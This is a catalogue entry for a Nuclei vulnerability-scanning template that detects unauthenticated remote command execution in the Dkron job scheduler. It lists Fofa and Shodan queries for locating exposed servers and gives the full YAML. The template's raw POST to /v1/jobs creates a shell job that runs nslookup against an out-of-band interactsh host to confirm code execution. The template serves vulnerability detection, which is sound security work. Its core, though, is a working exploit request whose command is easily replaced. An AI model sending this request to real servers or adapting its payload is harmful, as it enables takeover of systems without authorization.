dkron-unauth-rce: Dkron - Unauthenticated Remote Command Execution
- Template: dkron-unauth-rce
- Name: Dkron - Unauthenticated Remote Command Execution
- Description: An exposed Dkron server, a distributed and fault-tolerant job scheduling system for cloud-native environments, was found vulnerable to unauthenticated remote command execution (RCE).This flaw allowed attackers to execute arbitrary commands on the host without authentication.
- Severity: high
- Authors: icarot
- Tags: dkron, unauth, rce, oast, obb, vuln
- References: https://github.com/distribworks/dkron/
- Verified: yes
- Directory: http/vulnerabilities
- Path: http/vulnerabilities/other/dkron-unauth-rce.yaml
- Digest: 4a0a00473045022100da12d93d865c0551b086689ee0a8b31c096588ffcecfee17f015efed848a6ad102201e07bc011f5c04056eede63980b550e2a7ff5f1214bd35d95f7cdb20a042334d
- Created at: 2025-09-02T10:04:04Z
- Updated at: 2025-10-26T16:17:37Z
- Age in days: 448
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/dkron-unauth-rce.yaml
- Checked, none or zero: cves, products
- Not known: impact, remediation, max requests
Classification
- Checked, none or zero: cwe
- Not known: cvss score, cvss vector, epss score, epss percentile, cpe
Metadata
- Fofa-query: title="Dkron"
- Shodan-query: title:"Dkron"
- Verified: yes
Labels
- Name: Dkron - Remote Code Execution
- Impact: Unauthenticated attackers can execute arbitrary commands on the host, leading to full system compromise.
- Remediation: Update to the latest version of Dkron.
- Vulnerability type: command_injection
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: securitycontext
- Not known: requirements, from cve
```yaml
id: dkron-unauth-rce
info:
name: Dkron - Unauthenticated Remote Command Execution
author: icarot
severity: high
description: |
An exposed Dkron server, a distributed and fault-tolerant job scheduling system for cloud-native environments, was found vulnerable to unauthenticated remote command execution (RCE).This flaw allowed attackers to execute arbitrary commands on the host without authentication.
reference:
- https://github.com/distribworks/dkron/
metadata:
verified: true
fofa-query: title="Dkron"
shodan-query: title:"Dkron"
tags: dkron,unauth,rce,oast,obb,vuln
variables:
string: "{{to_lower(rand_text_alpha(5))}}"
http:
- raw:
- |
POST /v1/jobs HTTP/1.1
Host: {{Hostname}}
Accept: application/json
{"ephemeral":true,"disabled":false,"name":"{{string}}","schedule":"@every 1s","executor":"shell","executor_config":{"command":"nslookup {{string}}.{{interactsh-url}}","cwd":"/tmp/","env":"ENV_VAR=va1,ANOTHER_ENV_VAR=var2","shell":"true","timeout":"10s"},"retries":null}
matchers:
- type: dsl
dsl:
- "contains(interactsh_protocol, 'dns')"
- "contains(content_type, 'application/json')"
- "contains_all(body, 'success_count','owner_email')"
- "status_code == 201"
condition: and
digest: 4a0a00473045022100da12d93d865c0551b086689ee0a8b31c096588ffcecfee17f015efed848a6ad102201e07bc011f5c04056eede63980b550e2a7ff5f1214bd35d95f7cdb20a042334d:922c64590222798bb761d5b6d8e72950
```